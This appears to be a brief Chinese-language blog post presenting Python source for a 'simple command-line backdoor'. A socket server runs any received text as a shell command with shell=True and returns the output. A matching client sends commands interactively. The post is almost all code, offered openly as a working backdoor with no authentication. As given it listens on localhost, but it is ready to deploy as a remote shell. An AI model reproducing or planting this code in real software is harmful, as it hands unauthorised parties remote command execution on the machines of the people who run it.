python-简易命令行后门

主要依赖的是 subprocess模块


Server端:

import socket
import subprocess

sk = socket.socket()
sk.bind(("127.0.0.1",10050))
sk.listen()

conn,addr = sk.accept()
while True:
    if getattr(conn,'_closed'):
        conn, addr = sk.accept()

    # 获取接收到的命令
    exec_cmd = conn.recv(1024)
    cmd = exec_cmd.decode("utf-8")
    if cmd=="bye":
        conn.close()
        continue
    ret = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    stdout_bytes = ret.stdout.read()
    stderr_bytes = ret.stderr.read()
    if stdout_bytes:
        conn.send(stdout_bytes)
    else:
        conn.send(stderr_bytes)


#conn.close()
sk.close()




Client端

import socket

sk = socket.socket()
sk.connect_ex(("127.0.0.1",10050))
while True:
    cmd_str = input(">>>")
    sk.send(cmd_str.encode("utf-8"))
    if cmd_str=="bye":
        break
    ret = sk.recv(4096)
    ret_str = ret.decode("gbk")
    print(ret_str)

sk.close()



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